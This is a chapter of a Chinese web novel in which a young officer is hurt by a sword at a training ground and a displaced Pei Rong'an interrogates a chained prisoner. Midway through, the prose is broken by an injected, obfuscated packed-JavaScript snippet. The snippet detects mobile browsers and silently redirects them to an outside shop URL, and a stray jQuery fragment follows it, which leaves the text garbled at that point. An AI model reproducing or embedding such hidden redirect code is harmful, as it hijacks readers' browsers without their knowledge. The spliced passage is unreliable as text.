翌日。
天色好不容易放晴,谢云清一大早就爬起来练枪了。眼睛上的药是谢承清早起打着哈欠给他换的,换完药之后他本来还想跟着谢云清一起去演武场,但谢云清看到他眼下的乌青之后,没让他跟着去。
于是谢承清又回去睡了回笼觉。
来的时候被李谦教着练了会儿,后面李谦被江翎叫走了,秦越正好来了,谢云清便和他过了几招。
几招下来,秦越险些招架不住,“谢师傅,今天怎么打这么猛?”
谢云清收回长枪,没有回答这个问题,而是问他:“我进步了吗?”
秦越琢磨着这个问题,本就不聪明的脑袋瓜终于灵光一现,道:“噢,原来不是打得猛,是因为进步了啊?”
说完,他凑到谢云清身旁去观察他的眼睛,感叹道:“嘿,你还别说,这副独眼龙的样子还挺帅。”
谢云清瞥他一眼,“这福气给你要不要?”
秦越:“……别,我消受不起。”
两人又互相过了几次招,便坐回原地休息了。地下似乎垫着东西,有点咯人。谢云清也没低头,兀自伸出手去拿,却忽地感受到一阵刺痛。
谢云清低头望去。
是剑。
手心的血越渗越多,谢云清有些无奈地开了口,“我都怀疑我这个月是不是撞鬼了。”
“啥意思?哎哟,你这手咋弄的,伤口看起来好深啊,你等会儿,我去给你拿药啊。”
秦越一口气把这一大段话说完,便转身朝着不远处跑去。谢云清收回还未来得及说出口的话,叹叹气将剑刃挪开,又坐回了原地。
等等。
这营中用剑的人不多,会来演武场练剑的人,也不多。
身后传来脚步声,谢云清动作一顿,转身望去。
……果然。
四目相对,裴晏华掩住面上的神情,俯身拿起了剑。在瞧见剑刃上的血迹时,他身体一僵。
他用余光扫视着谢云清手心上的血迹,还未待二人反应过来,秦越的声音便响起来了:“谢师傅,你一个人能上药吗,我这边有点急事!”
“可以。”
“行!”
秦越站老远将布条和药扔到了谢云清怀里,谢云清见状,也不再看裴晏华,低头专心地为自己清理着伤口。
只是眼睛老是不老实地往后面瞟。
脚步声渐远,似乎是裴晏华离开了原地。谢云清有些失落,将药粉洒在手心,便伸出手去拿了布条。
因为手受伤的原因,他咬布条的动作便显得尤其笨拙。裴晏华在背后练了许久的剑,瞧见那布条掉了又掉,终是忍不住了,朝着谢云清走去,烦躁问道:“你是笨蛋吗?”
谢云清有些无措地看着他,脑子一时也没反应过来,小心翼翼地解释道:“我、我不是。”
声音因为紧张还打了个磕巴。
裴晏华沉默半晌,在发现自己的心情竟然诡异地平复之后,强装镇定道:“伸手。”
谢云清这会儿也反应过来了,气呼呼地看着他,说话还挺有逻辑:“是你的剑划到我了,你怎么还对我这么凶,还有,你才是笨蛋,我聪明着呢。”
少爷边说边老实地伸出了手,裴晏华本来有点想笑,但想到场合不对,硬生生绷住了。
是挺聪明。
一个聪明的笨蛋。
裴晏华低头帮他包扎着伤口,谢云清盯着他的脸看了许久,小声抱怨道:“你还没和我道歉呢。”
裴晏华应了一声,低声道:“对不起。”
谢云清是撒娇惯了,说出来的话不动脑子。他眨了眨眼,表情有些疑惑,显然是没想到裴晏华会顺着他的话说下去。还欲再说时,裴晏华却往后退了两步,表情有些纠结。
两人之间的气氛忽地变得无比尴尬,沉默半晌,裴晏华终于转身,毫不犹豫地离开了原地。
谢云清抿紧嘴唇,低头收回了目光。
只是表情还有些委屈。
好想容安。
他的手好痛,要是容安在的话,一定会捧着他的手给他吹吹,然后把他抱进怀里哄他的。
少爷坐在台阶上缩成一团,小心翼翼地往自己手心里吹了一口气。
远处。
裴晏华盯着谢云清的身影看了许久,收回目光垂了眼。
瞧起来是有些可怜。
他……是不是太刻薄了些?
另一个自己应当很喜欢他吧。
可他确实不记得了,有关他们的一切。
不过……自己将来竟会喜欢男人吗?
他瞧起来除了长得乖一些,好像也没什么特别的。
……噢,也不是没有特别的。
聪明的笨蛋,可不算特别吗。
裴晏华笑意渐深,反应过来之后狂扇了自己两个嘴巴子。
笑什么,有什么好笑的。
呸,他才不要跟着裴晏华一起糊涂。
虽然方法有些简单粗暴,但裴晏华好歹也算是勉强平静下来了。身旁的架子上放着长枪,裴晏华瞬间被转移了注意力,伸出手正准备去触碰之际,手却又猛地缩回来。
啧……
他敢确定的是,他自己是肯定不怕拿起长枪的。
既然问题不在他的身上,那就出在这具身体上了。
裴晏华沉吟片刻,闭上眼又试着去触碰长枪,嘴里还嘀咕道:这不是长枪这不是长枪这不是长枪。”
手摸到了抢柄,裴晏华心头一喜,瞬间睁开了双眼,结果还没摸到两秒钟呢,手又猛地收了回来。
裴晏华:“……”
烦人。
裴晏华捡起长剑,又偷摸着看了谢云清两眼。
即使手上受了伤,他也未曾懈怠。
马尾在日光之下仿佛滚着金光,裴晏华琢磨了好一会儿,突然好像明白了为什么十一年后的他会喜欢上谢云清。
没脾气,长得乖,还不怕吃苦。
谁会不喜欢他呢。
不过……他暂时还不能接受。
裴晏华收回目光,提剑离开了原地。
*
营帐中。
被冷落已久的宋程曦此刻正被无聊的长岳反反复复当木桩子练手,他身上几乎没有一块好肉,一双眼睛早已失去了神采。
像是被折磨得不轻。
裴晏华掀开帘子走了进去,长岳瞧见他的身影,立马停下手中的动作,唤道:“裴主子。”
裴晏华有些意外,但还是应了一声,道:“你先出去吧。”
“是。”
脚步声逐渐远去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252122|151559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>宋程曦迟钝地抬起头来,看向裴晏华。双眸渐渐聚了焦,宋程曦终于看清了他的脸,骂道:“杂种,你该死!”
裴晏华给了他一脚。
宋程曦吐出一口血来,声音嘶哑难听:“哈哈……再来,再来!把我弄死,弄死我,这不就是你要的吗?来啊……来啊!!”
裴晏华居高临下地看着他,“想这么轻松地去死?我可不会上你的当。”
锁链因活动与地面摩擦,发出刺耳的响声。宋程曦缓缓坐了起来,盯着裴晏华莫名其妙地发了笑。
模样瞧起来渗人极了。
裴晏华冷冷看着他。
半晌后,宋程曦终于笑够了,疯疯癫癫道:“怀英死了,他说做鬼也不会放过我,可我怎么一直没有看见他呢?”
“怀英明明在十一岁才认识你……”
“什么?”
裴晏华皱了皱眉,道:“李怀英十一岁认识我?”
宋程曦哈哈大笑一声,“怀英啊怀英,你瞧,裴晏华都不记得了。”
“我可是记得清清楚楚啊……你瞧你,还是看错了人。”
裴容安记得很清楚。
他和李怀英分明十四岁才认识,而且彼此并不熟悉。
裴容安又试着套了几句宋程曦的话,终于从中瞧出了端倪。
他很确定,这里发生的事情,有少部分和他所在的地方,是不一样的。
那就意味着他并不是失忆了,而是……
错乱?
裴容安之前在闲书上看过这样的记载,说的是有一人因患病昏睡许久,再醒来时干的第一件事情是手舞足蹈地上街,蹲在商铺前大声地介绍自己,说自己是只猴子。
后来那人又莫名其妙昏了过去,再醒来时,似是恢复了意识,说自己在猴群里莫名其妙待了三天。
裴容安当时是半夜被他爹罚抄书的时候嫌无聊看的,后面笑得喘不过气来,还把他爹招了过来,挨了一顿揍。
……他记得可清楚了。
从思绪中回过神来,裴容安又有些高兴。
那就是说,他要是能回去,是有机会能救下爹娘和姐姐的。
可怎么回去是个问题。
裴晏华脑子里乱得一团糟,偏生宋程曦还在旁边发疯。他听得心烦,干脆一脚将笑得疯疯癫癫的宋程曦踹晕了。
这下清静了许多。
他来的那天发生了什么来着?
哦,对了,他被他爹按地下揍了。
将丢脸的记忆抛掷一旁,裴容安又细细回想着来时的细节。
那时候好像要下雨了,雷打得特别厉害。
还有什么……
对了!
白云和黑云好像变成了太极图的形状!
高兴不过两秒,裴容安又开始发起了愁。
他也没有改变天象的能力啊。
难不成他要在这里待一辈子吗?
正这么想着,脚下忽地被刮来一张纸条。裴容安从思绪中回过神来,低头拿起来看了一眼。
纸条上什么也没写。
裴容安:“……”
裴容安随便瞟了两眼,正欲将纸条随手扔到一旁,却不知是看到什么,眼眸一颤。
半晌后,他将纸条揣回袖中,若无其事地离开了原地。